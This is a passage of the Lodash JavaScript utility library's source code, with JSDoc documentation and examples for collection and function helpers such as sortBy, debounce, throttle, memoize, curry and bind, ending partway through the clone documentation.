     * _.size('pebbles');
     * // => 7
     */
    function size(collection) {
      if (collection == null) {
        return 0;
      }
      if (isArrayLike(collection)) {
        return isString(collection) ? stringSize(collection) : collection.length;
      }
      var tag = getTag(collection);
      if (tag == mapTag || tag == setTag) {
        return collection.size;
      }
      return baseKeys(collection).length;
    }

    /**
     * Checks if `predicate` returns truthy for **any** element of `collection`.
     * Iteration is stopped once `predicate` returns truthy. The predicate is
     * invoked with three arguments: (value, index|key, collection).
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {boolean} Returns `true` if any element passes the predicate check,
     *  else `false`.
     * @example
     *
     * _.some([null, 0, 'yes', false], Boolean);
     * // => true
     *
     * var users = [
     *   { 'user': 'barney', 'active': true },
     *   { 'user': 'fred',   'active': false }
     * ];
     *
     * // The `_.matches` iteratee shorthand.
     * _.some(users, { 'user': 'barney', 'active': false });
     * // => false
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.some(users, ['active', false]);
     * // => true
     *
     * // The `_.property` iteratee shorthand.
     * _.some(users, 'active');
     * // => true
     */
    function some(collection, predicate, guard) {
      var func = isArray(collection) ? arraySome : baseSome;
      if (guard && isIterateeCall(collection, predicate, guard)) {
        predicate = undefined;
      }
      return func(collection, getIteratee(predicate, 3));
    }

    /**
     * Creates an array of elements, sorted in ascending order by the results of
     * running each element in a collection thru each iteratee. This method
     * performs a stable sort, that is, it preserves the original sort order of
     * equal elements. The iteratees are invoked with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {...(Function|Function[])} [iteratees=[_.identity]]
     *  The iteratees to sort by.
     * @returns {Array} Returns the new sorted array.
     * @example
     *
     * var users = [
     *   { 'user': 'fred',   'age': 48 },
     *   { 'user': 'barney', 'age': 36 },
     *   { 'user': 'fred',   'age': 30 },
     *   { 'user': 'barney', 'age': 34 }
     * ];
     *
     * _.sortBy(users, [function(o) { return o.user; }]);
     * // => objects for [['barney', 36], ['barney', 34], ['fred', 48], ['fred', 30]]
     *
     * _.sortBy(users, ['user', 'age']);
     * // => objects for [['barney', 34], ['barney', 36], ['fred', 30], ['fred', 48]]
     */
    var sortBy = baseRest(function(collection, iteratees) {
      if (collection == null) {
        return [];
      }
      var length = iteratees.length;
      if (length > 1 && isIterateeCall(collection, iteratees[0], iteratees[1])) {
        iteratees = [];
      } else if (length > 2 && isIterateeCall(iteratees[0], iteratees[1], iteratees[2])) {
        iteratees = [iteratees[0]];
      }
      return baseOrderBy(collection, baseFlatten(iteratees, 1), []);
    });

    /*------------------------------------------------------------------------*/

    /**
     * Gets the timestamp of the number of milliseconds that have elapsed since
     * the Unix epoch (1 January 1970 00:00:00 UTC).
     *
     * @static
     * @memberOf _
     * @since 2.4.0
     * @category Date
     * @returns {number} Returns the timestamp.
     * @example
     *
     * _.defer(function(stamp) {
     *   console.log(_.now() - stamp);
     * }, _.now());
     * // => Logs the number of milliseconds it took for the deferred invocation.
     */
    var now = ctxNow || function() {
      return root.Date.now();
    };

    /*------------------------------------------------------------------------*/

    /**
     * The opposite of `_.before`; this method creates a function that invokes
     * `func` once it's called `n` or more times.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Function
     * @param {number} n The number of calls before `func` is invoked.
     * @param {Function} func The function to restrict.
     * @returns {Function} Returns the new restricted function.
     * @example
     *
     * var saves = ['profile', 'settings'];
     *
     * var done = _.after(saves.length, function() {
     *   console.log('done saving!');
     * });
     *
     * _.forEach(saves, function(type) {
     *   asyncSave({ 'type': type, 'complete': done });
     * });
     * // => Logs 'done saving!' after the two async saves have completed.
     */
    function after(n, func) {
      if (typeof func != 'function') {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      n = toInteger(n);
      return function() {
        if (--n < 1) {
          return func.apply(this, arguments);
        }
      };
    }

    /**
     * Creates a function that invokes `func`, with up to `n` arguments,
     * ignoring any additional arguments.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Function
     * @param {Function} func The function to cap arguments for.
     * @param {number} [n=func.length] The arity cap.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Function} Returns the new capped function.
     * @example
     *
     * _.map(['6', '8', '10'], _.ary(parseInt, 1));
     * // => [6, 8, 10]
     */
    function ary(func, n, guard) {
      n = guard ? undefined : n;
      n = (func && n == null) ? func.length : n;
      return createWrap(func, WRAP_ARY_FLAG, undefined, undefined, undefined, undefined, n);
    }

    /**
     * Creates a function that invokes `func`, with the `this` binding and arguments
     * of the created function, while it's called less than `n` times. Subsequent
     * calls to the created function return the result of the last `func` invocation.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Function
     * @param {number} n The number of calls at which `func` is no longer invoked.
     * @param {Function} func The function to restrict.
     * @returns {Function} Returns the new restricted function.
     * @example
     *
     * jQuery(element).on('click', _.before(5, addContactToList));
     * // => Allows adding up to 4 contacts to the list.
     */
    function before(n, func) {
      var result;
      if (typeof func != 'function') {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      n = toInteger(n);
      return function() {
        if (--n > 0) {
          result = func.apply(this, arguments);
        }
        if (n <= 1) {
          func = undefined;
        }
        return result;
      };
    }

    /**
     * Creates a function that invokes `func` with the `this` binding of `thisArg`
     * and `partials` prepended to the arguments it receives.
     *
     * The `_.bind.placeholder` value, which defaults to `_` in monolithic builds,
     * may be used as a placeholder for partially applied arguments.
     *
     * **Note:** Unlike native `Function#bind`, this method doesn't set the "length"
     * property of bound functions.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Function
     * @param {Function} func The function to bind.
     * @param {*} thisArg The `this` binding of `func`.
     * @param {...*} [partials] The arguments to be partially applied.
     * @returns {Function} Returns the new bound function.
     * @example
     *
     * function greet(greeting, punctuation) {
     *   return greeting + ' ' + this.user + punctuation;
     * }
     *
     * var object = { 'user': 'fred' };
     *
     * var bound = _.bind(greet, object, 'hi');
     * bound('!');
     * // => 'hi fred!'
     *
     * // Bound with placeholders.
     * var bound = _.bind(greet, object, _, '!');
     * bound('hi');
     * // => 'hi fred!'
     */
    var bind = baseRest(function(func, thisArg, partials) {
      var bitmask = WRAP_BIND_FLAG;
      if (partials.length) {
        var holders = replaceHolders(partials, getHolder(bind));
        bitmask |= WRAP_PARTIAL_FLAG;
      }
      return createWrap(func, bitmask, thisArg, partials, holders);
    });

    /**
     * Creates a function that invokes the method at `object[key]` with `partials`
     * prepended to the arguments it receives.
     *
     * This method differs from `_.bind` by allowing bound functions to reference
     * methods that may be redefined or don't yet exist. See
     * [Peter Michaux's article](http://peter.michaux.ca/articles/lazy-function-definition-pattern)
     * for more details.
     *
     * The `_.bindKey.placeholder` value, which defaults to `_` in monolithic
     * builds, may be used as a placeholder for partially applied arguments.
     *
     * @static
     * @memberOf _
     * @since 0.10.0
     * @category Function
     * @param {Object} object The object to invoke the method on.
     * @param {string} key The key of the method.
     * @param {...*} [partials] The arguments to be partially applied.
     * @returns {Function} Returns the new bound function.
     * @example
     *
     * var object = {
     *   'user': 'fred',
     *   'greet': function(greeting, punctuation) {
     *     return greeting + ' ' + this.user + punctuation;
     *   }
     * };
     *
     * var bound = _.bindKey(object, 'greet', 'hi');
     * bound('!');
     * // => 'hi fred!'
     *
     * object.greet = function(greeting, punctuation) {
     *   return greeting + 'ya ' + this.user + punctuation;
     * };
     *
     * bound('!');
     * // => 'hiya fred!'
     *
     * // Bound with placeholders.
     * var bound = _.bindKey(object, 'greet', _, '!');
     * bound('hi');
     * // => 'hiya fred!'
     */
    var bindKey = baseRest(function(object, key, partials) {
      var bitmask = WRAP_BIND_FLAG | WRAP_BIND_KEY_FLAG;
      if (partials.length) {
        var holders = replaceHolders(partials, getHolder(bindKey));
        bitmask |= WRAP_PARTIAL_FLAG;
      }
      return createWrap(key, bitmask, object, partials, holders);
    });

    /**
     * Creates a function that accepts arguments of `func` and either invokes
     * `func` returning its result, if at least `arity` number of arguments have
     * been provided, or returns a function that accepts the remaining `func`
     * arguments, and so on. The arity of `func` may be specified if `func.length`
     * is not sufficient.
     *
     * The `_.curry.placeholder` value, which defaults to `_` in monolithic builds,
     * may be used as a placeholder for provided arguments.
     *
     * **Note:** This method doesn't set the "length" property of curried functions.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @category Function
     * @param {Function} func The function to curry.
     * @param {number} [arity=func.length] The arity of `func`.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Function} Returns the new curried function.
     * @example
     *
     * var abc = function(a, b, c) {
     *   return [a, b, c];
     * };
     *
     * var curried = _.curry(abc);
     *
     * curried(1)(2)(3);
     * // => [1, 2, 3]
     *
     * curried(1, 2)(3);
     * // => [1, 2, 3]
     *
     * curried(1, 2, 3);
     * // => [1, 2, 3]
     *
     * // Curried with placeholders.
     * curried(1)(_, 3)(2);
     * // => [1, 2, 3]
     */
    function curry(func, arity, guard) {
      arity = guard ? undefined : arity;
      var result = createWrap(func, WRAP_CURRY_FLAG, undefined, undefined, undefined, undefined, undefined, arity);
      result.placeholder = curry.placeholder;
      return result;
    }

    /**
     * This method is like `_.curry` except that arguments are applied to `func`
     * in the manner of `_.partialRight` instead of `_.partial`.
     *
     * The `_.curryRight.placeholder` value, which defaults to `_` in monolithic
     * builds, may be used as a placeholder for provided arguments.
     *
     * **Note:** This method doesn't set the "length" property of curried functions.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Function
     * @param {Function} func The function to curry.
     * @param {number} [arity=func.length] The arity of `func`.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Function} Returns the new curried function.
     * @example
     *
     * var abc = function(a, b, c) {
     *   return [a, b, c];
     * };
     *
     * var curried = _.curryRight(abc);
     *
     * curried(3)(2)(1);
     * // => [1, 2, 3]
     *
     * curried(2, 3)(1);
     * // => [1, 2, 3]
     *
     * curried(1, 2, 3);
     * // => [1, 2, 3]
     *
     * // Curried with placeholders.
     * curried(3)(1, _)(2);
     * // => [1, 2, 3]
     */
    function curryRight(func, arity, guard) {
      arity = guard ? undefined : arity;
      var result = createWrap(func, WRAP_CURRY_RIGHT_FLAG, undefined, undefined, undefined, undefined, undefined, arity);
      result.placeholder = curryRight.placeholder;
      return result;
    }

    /**
     * Creates a debounced function that delays invoking `func` until after `wait`
     * milliseconds have elapsed since the last time the debounced function was
     * invoked. The debounced function comes with a `cancel` method to cancel
     * delayed `func` invocations and a `flush` method to immediately invoke them.
     * Provide `options` to indicate whether `func` should be invoked on the
     * leading and/or trailing edge of the `wait` timeout. The `func` is invoked
     * with the last arguments provided to the debounced function. Subsequent
     * calls to the debounced function return the result of the last `func`
     * invocation.
     *
     * **Note:** If `leading` and `trailing` options are `true`, `func` is
     * invoked on the trailing edge of the timeout only if the debounced function
     * is invoked more than once during the `wait` timeout.
     *
     * If `wait` is `0` and `leading` is `false`, `func` invocation is deferred
     * until to the next tick, similar to `setTimeout` with a timeout of `0`.
     *
     * See [David Corbacho's article](https://css-tricks.com/debouncing-throttling-explained-examples/)
     * for details over the differences between `_.debounce` and `_.throttle`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Function
     * @param {Function} func The function to debounce.
     * @param {number} [wait=0] The number of milliseconds to delay.
     * @param {Object} [options={}] The options object.
     * @param {boolean} [options.leading=false]
     *  Specify invoking on the leading edge of the timeout.
     * @param {number} [options.maxWait]
     *  The maximum time `func` is allowed to be delayed before it's invoked.
     * @param {boolean} [options.trailing=true]
     *  Specify invoking on the trailing edge of the timeout.
     * @returns {Function} Returns the new debounced function.
     * @example
     *
     * // Avoid costly calculations while the window size is in flux.
     * jQuery(window).on('resize', _.debounce(calculateLayout, 150));
     *
     * // Invoke `sendMail` when clicked, debouncing subsequent calls.
     * jQuery(element).on('click', _.debounce(sendMail, 300, {
     *   'leading': true,
     *   'trailing': false
     * }));
     *
     * // Ensure `batchLog` is invoked once after 1 second of debounced calls.
     * var debounced = _.debounce(batchLog, 250, { 'maxWait': 1000 });
     * var source = new EventSource('/stream');
     * jQuery(source).on('message', debounced);
     *
     * // Cancel the trailing debounced invocation.
     * jQuery(window).on('popstate', debounced.cancel);
     */
    function debounce(func, wait, options) {
      var lastArgs,
          lastThis,
          maxWait,
          result,
          timerId,
          lastCallTime,
          lastInvokeTime = 0,
          leading = false,
          maxing = false,
          trailing = true;

      if (typeof func != 'function') {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      wait = toNumber(wait) || 0;
      if (isObject(options)) {
        leading = !!options.leading;
        maxing = 'maxWait' in options;
        maxWait = maxing ? nativeMax(toNumber(options.maxWait) || 0, wait) : maxWait;
        trailing = 'trailing' in options ? !!options.trailing : trailing;
      }

      function invokeFunc(time) {
        var args = lastArgs,
            thisArg = lastThis;

        lastArgs = lastThis = undefined;
        lastInvokeTime = time;
        result = func.apply(thisArg, args);
        return result;
      }

      function leadingEdge(time) {
        // Reset any `maxWait` timer.
        lastInvokeTime = time;
        // Start the timer for the trailing edge.
        timerId = setTimeout(timerExpired, wait);
        // Invoke the leading edge.
        return leading ? invokeFunc(time) : result;
      }

      function remainingWait(time) {
        var timeSinceLastCall = time - lastCallTime,
            timeSinceLastInvoke = time - lastInvokeTime,
            timeWaiting = wait - timeSinceLastCall;

        return maxing
          ? nativeMin(timeWaiting, maxWait - timeSinceLastInvoke)
          : timeWaiting;
      }

      function shouldInvoke(time) {
        var timeSinceLastCall = time - lastCallTime,
            timeSinceLastInvoke = time - lastInvokeTime;

        // Either this is the first call, activity has stopped and we're at the
        // trailing edge, the system time has gone backwards and we're treating
        // it as the trailing edge, or we've hit the `maxWait` limit.
        return (lastCallTime === undefined || (timeSinceLastCall >= wait) ||
          (timeSinceLastCall < 0) || (maxing && timeSinceLastInvoke >= maxWait));
      }

      function timerExpired() {
        var time = now();
        if (shouldInvoke(time)) {
          return trailingEdge(time);
        }
        // Restart the timer.
        timerId = setTimeout(timerExpired, remainingWait(time));
      }

      function trailingEdge(time) {
        timerId = undefined;

        // Only invoke if we have `lastArgs` which means `func` has been
        // debounced at least once.
        if (trailing && lastArgs) {
          return invokeFunc(time);
        }
        lastArgs = lastThis = undefined;
        return result;
      }

      function cancel() {
        if (timerId !== undefined) {
          clearTimeout(timerId);
        }
        lastInvokeTime = 0;
        lastArgs = lastCallTime = lastThis = timerId = undefined;
      }

      function flush() {
        return timerId === undefined ? result : trailingEdge(now());
      }

      function debounced() {
        var time = now(),
            isInvoking = shouldInvoke(time);

        lastArgs = arguments;
        lastThis = this;
        lastCallTime = time;

        if (isInvoking) {
          if (timerId === undefined) {
            return leadingEdge(lastCallTime);
          }
          if (maxing) {
            // Handle invocations in a tight loop.
            clearTimeout(timerId);
            timerId = setTimeout(timerExpired, wait);
            return invokeFunc(lastCallTime);
          }
        }
        if (timerId === undefined) {
          timerId = setTimeout(timerExpired, wait);
        }
        return result;
      }
      debounced.cancel = cancel;
      debounced.flush = flush;
      return debounced;
    }

    /**
     * Defers invoking the `func` until the current call stack has cleared. Any
     * additional arguments are provided to `func` when it's invoked.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Function
     * @param {Function} func The function to defer.
     * @param {...*} [args] The arguments to invoke `func` with.
     * @returns {number} Returns the timer id.
     * @example
     *
     * _.defer(function(text) {
     *   console.log(text);
     * }, 'deferred');
     * // => Logs 'deferred' after one millisecond.
     */
    var defer = baseRest(function(func, args) {
      return baseDelay(func, 1, args);
    });

    /**
     * Invokes `func` after `wait` milliseconds. Any additional arguments are
     * provided to `func` when it's invoked.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Function
     * @param {Function} func The function to delay.
     * @param {number} wait The number of milliseconds to delay invocation.
     * @param {...*} [args] The arguments to invoke `func` with.
     * @returns {number} Returns the timer id.
     * @example
     *
     * _.delay(function(text) {
     *   console.log(text);
     * }, 1000, 'later');
     * // => Logs 'later' after one second.
     */
    var delay = baseRest(function(func, wait, args) {
      return baseDelay(func, toNumber(wait) || 0, args);
    });

    /**
     * Creates a function that invokes `func` with arguments reversed.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Function
     * @param {Function} func The function to flip arguments for.
     * @returns {Function} Returns the new flipped function.
     * @example
     *
     * var flipped = _.flip(function() {
     *   return _.toArray(arguments);
     * });
     *
     * flipped('a', 'b', 'c', 'd');
     * // => ['d', 'c', 'b', 'a']
     */
    function flip(func) {
      return createWrap(func, WRAP_FLIP_FLAG);
    }

    /**
     * Creates a function that memoizes the result of `func`. If `resolver` is
     * provided, it determines the cache key for storing the result based on the
     * arguments provided to the memoized function. By default, the first argument
     * provided to the memoized function is used as the map cache key. The `func`
     * is invoked with the `this` binding of the memoized function.
     *
     * **Note:** The cache is exposed as the `cache` property on the memoized
     * function. Its creation may be customized by replacing the `_.memoize.Cache`
     * constructor with one whose instances implement the
     * [`Map`](http://ecma-international.org/ecma-262/7.0/#sec-properties-of-the-map-prototype-object)
     * method interface of `clear`, `delete`, `get`, `has`, and `set`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Function
     * @param {Function} func The function to have its output memoized.
     * @param {Function} [resolver] The function to resolve the cache key.
     * @returns {Function} Returns the new memoized function.
     * @example
     *
     * var object = { 'a': 1, 'b': 2 };
     * var other = { 'c': 3, 'd': 4 };
     *
     * var values = _.memoize(_.values);
     * values(object);
     * // => [1, 2]
     *
     * values(other);
     * // => [3, 4]
     *
     * object.a = 2;
     * values(object);
     * // => [1, 2]
     *
     * // Modify the result cache.
     * values.cache.set(object, ['a', 'b']);
     * values(object);
     * // => ['a', 'b']
     *
     * // Replace `_.memoize.Cache`.
     * _.memoize.Cache = WeakMap;
     */
    function memoize(func, resolver) {
      if (typeof func != 'function' || (resolver != null && typeof resolver != 'function')) {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      var memoized = function() {
        var args = arguments,
            key = resolver ? resolver.apply(this, args) : args[0],
            cache = memoized.cache;

        if (cache.has(key)) {
          return cache.get(key);
        }
        var result = func.apply(this, args);
        memoized.cache = cache.set(key, result) || cache;
        return result;
      };
      memoized.cache = new (memoize.Cache || MapCache);
      return memoized;
    }

    // Expose `MapCache`.
    memoize.Cache = MapCache;

    /**
     * Creates a function that negates the result of the predicate `func`. The
     * `func` predicate is invoked with the `this` binding and arguments of the
     * created function.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Function
     * @param {Function} predicate The predicate to negate.
     * @returns {Function} Returns the new negated function.
     * @example
     *
     * function isEven(n) {
     *   return n % 2 == 0;
     * }
     *
     * _.filter([1, 2, 3, 4, 5, 6], _.negate(isEven));
     * // => [1, 3, 5]
     */
    function negate(predicate) {
      if (typeof predicate != 'function') {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      return function() {
        var args = arguments;
        switch (args.length) {
          case 0: return !predicate.call(this);
          case 1: return !predicate.call(this, args[0]);
          case 2: return !predicate.call(this, args[0], args[1]);
          case 3: return !predicate.call(this, args[0], args[1], args[2]);
        }
        return !predicate.apply(this, args);
      };
    }

    /**
     * Creates a function that is restricted to invoking `func` once. Repeat calls
     * to the function return the value of the first invocation. The `func` is
     * invoked with the `this` binding and arguments of the created function.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Function
     * @param {Function} func The function to restrict.
     * @returns {Function} Returns the new restricted function.
     * @example
     *
     * var initialize = _.once(createApplication);
     * initialize();
     * initialize();
     * // => `createApplication` is invoked once
     */
    function once(func) {
      return before(2, func);
    }

    /**
     * Creates a function that invokes `func` with its arguments transformed.
     *
     * @static
     * @since 4.0.0
     * @memberOf _
     * @category Function
     * @param {Function} func The function to wrap.
     * @param {...(Function|Function[])} [transforms=[_.identity]]
     *  The argument transforms.
     * @returns {Function} Returns the new function.
     * @example
     *
     * function doubled(n) {
     *   return n * 2;
     * }
     *
     * function square(n) {
     *   return n * n;
     * }
     *
     * var func = _.overArgs(function(x, y) {
     *   return [x, y];
     * }, [square, doubled]);
     *
     * func(9, 3);
     * // => [81, 6]
     *
     * func(10, 5);
     * // => [100, 10]
     */
    var overArgs = castRest(function(func, transforms) {
      transforms = (transforms.length == 1 && isArray(transforms[0]))
        ? arrayMap(transforms[0], baseUnary(getIteratee()))
        : arrayMap(baseFlatten(transforms, 1), baseUnary(getIteratee()));

      var funcsLength = transforms.length;
      return baseRest(function(args) {
        var index = -1,
            length = nativeMin(args.length, funcsLength);

        while (++index < length) {
          args[index] = transforms[index].call(this, args[index]);
        }
        return apply(func, this, args);
      });
    });

    /**
     * Creates a function that invokes `func` with `partials` prepended to the
     * arguments it receives. This method is like `_.bind` except it does **not**
     * alter the `this` binding.
     *
     * The `_.partial.placeholder` value, which defaults to `_` in monolithic
     * builds, may be used as a placeholder for partially applied arguments.
     *
     * **Note:** This method doesn't set the "length" property of partially
     * applied functions.
     *
     * @static
     * @memberOf _
     * @since 0.2.0
     * @category Function
     * @param {Function} func The function to partially apply arguments to.
     * @param {...*} [partials] The arguments to be partially applied.
     * @returns {Function} Returns the new partially applied function.
     * @example
     *
     * function greet(greeting, name) {
     *   return greeting + ' ' + name;
     * }
     *
     * var sayHelloTo = _.partial(greet, 'hello');
     * sayHelloTo('fred');
     * // => 'hello fred'
     *
     * // Partially applied with placeholders.
     * var greetFred = _.partial(greet, _, 'fred');
     * greetFred('hi');
     * // => 'hi fred'
     */
    var partial = baseRest(function(func, partials) {
      var holders = replaceHolders(partials, getHolder(partial));
      return createWrap(func, WRAP_PARTIAL_FLAG, undefined, partials, holders);
    });

    /**
     * This method is like `_.partial` except that partially applied arguments
     * are appended to the arguments it receives.
     *
     * The `_.partialRight.placeholder` value, which defaults to `_` in monolithic
     * builds, may be used as a placeholder for partially applied arguments.
     *
     * **Note:** This method doesn't set the "length" property of partially
     * applied functions.
     *
     * @static
     * @memberOf _
     * @since 1.0.0
     * @category Function
     * @param {Function} func The function to partially apply arguments to.
     * @param {...*} [partials] The arguments to be partially applied.
     * @returns {Function} Returns the new partially applied function.
     * @example
     *
     * function greet(greeting, name) {
     *   return greeting + ' ' + name;
     * }
     *
     * var greetFred = _.partialRight(greet, 'fred');
     * greetFred('hi');
     * // => 'hi fred'
     *
     * // Partially applied with placeholders.
     * var sayHelloTo = _.partialRight(greet, 'hello', _);
     * sayHelloTo('fred');
     * // => 'hello fred'
     */
    var partialRight = baseRest(function(func, partials) {
      var holders = replaceHolders(partials, getHolder(partialRight));
      return createWrap(func, WRAP_PARTIAL_RIGHT_FLAG, undefined, partials, holders);
    });

    /**
     * Creates a function that invokes `func` with arguments arranged according
     * to the specified `indexes` where the argument value at the first index is
     * provided as the first argument, the argument value at the second index is
     * provided as the second argument, and so on.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Function
     * @param {Function} func The function to rearrange arguments for.
     * @param {...(number|number[])} indexes The arranged argument indexes.
     * @returns {Function} Returns the new function.
     * @example
     *
     * var rearged = _.rearg(function(a, b, c) {
     *   return [a, b, c];
     * }, [2, 0, 1]);
     *
     * rearged('b', 'c', 'a')
     * // => ['a', 'b', 'c']
     */
    var rearg = flatRest(function(func, indexes) {
      return createWrap(func, WRAP_REARG_FLAG, undefined, undefined, undefined, indexes);
    });

    /**
     * Creates a function that invokes `func` with the `this` binding of the
     * created function and arguments from `start` and beyond provided as
     * an array.
     *
     * **Note:** This method is based on the
     * [rest parameter](https://mdn.io/rest_parameters).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Function
     * @param {Function} func The function to apply a rest parameter to.
     * @param {number} [start=func.length-1] The start position of the rest parameter.
     * @returns {Function} Returns the new function.
     * @example
     *
     * var say = _.rest(function(what, names) {
     *   return what + ' ' + _.initial(names).join(', ') +
     *     (_.size(names) > 1 ? ', & ' : '') + _.last(names);
     * });
     *
     * say('hello', 'fred', 'barney', 'pebbles');
     * // => 'hello fred, barney, & pebbles'
     */
    function rest(func, start) {
      if (typeof func != 'function') {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      start = start === undefined ? start : toInteger(start);
      return baseRest(func, start);
    }

    /**
     * Creates a function that invokes `func` with the `this` binding of the
     * create function and an array of arguments much like
     * [`Function#apply`](http://www.ecma-international.org/ecma-262/7.0/#sec-function.prototype.apply).
     *
     * **Note:** This method is based on the
     * [spread operator](https://mdn.io/spread_operator).
     *
     * @static
     * @memberOf _
     * @since 3.2.0
     * @category Function
     * @param {Function} func The function to spread arguments over.
     * @param {number} [start=0] The start position of the spread.
     * @returns {Function} Returns the new function.
     * @example
     *
     * var say = _.spread(function(who, what) {
     *   return who + ' says ' + what;
     * });
     *
     * say(['fred', 'hello']);
     * // => 'fred says hello'
     *
     * var numbers = Promise.all([
     *   Promise.resolve(40),
     *   Promise.resolve(36)
     * ]);
     *
     * numbers.then(_.spread(function(x, y) {
     *   return x + y;
     * }));
     * // => a Promise of 76
     */
    function spread(func, start) {
      if (typeof func != 'function') {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      start = start == null ? 0 : nativeMax(toInteger(start), 0);
      return baseRest(function(args) {
        var array = args[start],
            otherArgs = castSlice(args, 0, start);

        if (array) {
          arrayPush(otherArgs, array);
        }
        return apply(func, this, otherArgs);
      });
    }

    /**
     * Creates a throttled function that only invokes `func` at most once per
     * every `wait` milliseconds. The throttled function comes with a `cancel`
     * method to cancel delayed `func` invocations and a `flush` method to
     * immediately invoke them. Provide `options` to indicate whether `func`
     * should be invoked on the leading and/or trailing edge of the `wait`
     * timeout. The `func` is invoked with the last arguments provided to the
     * throttled function. Subsequent calls to the throttled function return the
     * result of the last `func` invocation.
     *
     * **Note:** If `leading` and `trailing` options are `true`, `func` is
     * invoked on the trailing edge of the timeout only if the throttled function
     * is invoked more than once during the `wait` timeout.
     *
     * If `wait` is `0` and `leading` is `false`, `func` invocation is deferred
     * until to the next tick, similar to `setTimeout` with a timeout of `0`.
     *
     * See [David Corbacho's article](https://css-tricks.com/debouncing-throttling-explained-examples/)
     * for details over the differences between `_.throttle` and `_.debounce`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Function
     * @param {Function} func The function to throttle.
     * @param {number} [wait=0] The number of milliseconds to throttle invocations to.
     * @param {Object} [options={}] The options object.
     * @param {boolean} [options.leading=true]
     *  Specify invoking on the leading edge of the timeout.
     * @param {boolean} [options.trailing=true]
     *  Specify invoking on the trailing edge of the timeout.
     * @returns {Function} Returns the new throttled function.
     * @example
     *
     * // Avoid excessively updating the position while scrolling.
     * jQuery(window).on('scroll', _.throttle(updatePosition, 100));
     *
     * // Invoke `renewToken` when the click event is fired, but not more than once every 5 minutes.
     * var throttled = _.throttle(renewToken, 300000, { 'trailing': false });
     * jQuery(element).on('click', throttled);
     *
     * // Cancel the trailing throttled invocation.
     * jQuery(window).on('popstate', throttled.cancel);
     */
    function throttle(func, wait, options) {
      var leading = true,
          trailing = true;

      if (typeof func != 'function') {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      if (isObject(options)) {
        leading = 'leading' in options ? !!options.leading : leading;
        trailing = 'trailing' in options ? !!options.trailing : trailing;
      }
      return debounce(func, wait, {
        'leading': leading,
        'maxWait': wait,
        'trailing': trailing
      });
    }

    /**
     * Creates a function that accepts up to one argument, ignoring any
     * additional arguments.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Function
     * @param {Function} func The function to cap arguments for.
     * @returns {Function} Returns the new capped function.
     * @example
     *
     * _.map(['6', '8', '10'], _.unary(parseInt));
     * // => [6, 8, 10]
     */
    function unary(func) {
      return ary(func, 1);
    }

    /**
     * Creates a function that provides `value` to `wrapper` as its first
     * argument. Any additional arguments provided to the function are appended
     * to those provided to the `wrapper`. The wrapper is invoked with the `this`
     * binding of the created function.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Function
     * @param {*} value The value to wrap.
     * @param {Function} [wrapper=identity] The wrapper function.
     * @returns {Function} Returns the new function.
     * @example
     *
     * var p = _.wrap(_.escape, function(func, text) {
     *   return '<p>' + func(text) + '</p>';
     * });
     *
     * p('fred, barney, & pebbles');
     * // => '<p>fred, barney, &amp; pebbles</p>'
     */
    function wrap(value, wrapper) {
      return partial(castFunction(wrapper), value);
    }

    /*------------------------------------------------------------------------*/

    /**
     * Casts `value` as an array if it's not one.
     *
     * @static
     * @memberOf _
     * @since 4.4.0
     * @category Lang
     * @param {*} value The value to inspect.
     * @returns {Array} Returns the cast array.
     * @example
     *
     * _.castArray(1);
     * // => [1]
     *
     * _.castArray({ 'a': 1 });
     * // => [{ 'a': 1 }]
     *
     * _.castArray('abc');
     * // => ['abc']
     *
     * _.castArray(null);
     * // => [null]
     *
     * _.castArray(undefined);
     * // => [undefined]
     *
     * _.castArray();
     * // => []
     *
     * var array = [1, 2, 3];
     * console.log(_.castArray(array) === array);
     * // => true
     */
    function castArray() {
      if (!arguments.length) {
        return [];
      }
      var value = arguments[0];
      return isArray(value) ? value : [value];
    }

    /**
     * Creates a shallow clone of `value`.
     *
     * **Note:** This method is loosely based on the
     * [structured clone algorithm](https://mdn.io/Structured_clone_algorithm)
     * and supports cloning arrays, array buffers, booleans, date objects, maps,
     * numbers, `Object` objects, regexes, sets, strings, symbols, and typed
     * arrays. The own enumerable properties of `arguments` objects are cloned
     * as plain objects. An empty object is returned for uncloneable values such
     * as error objects, functions, DOM nodes, and WeakMaps.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to clone.
     * @returns {*} Returns the cloned value.
     * @see _.cloneDeep
     * @example
     *
     * var objects = [{ 'a': 1 }, { 'b': 2 }];
     *
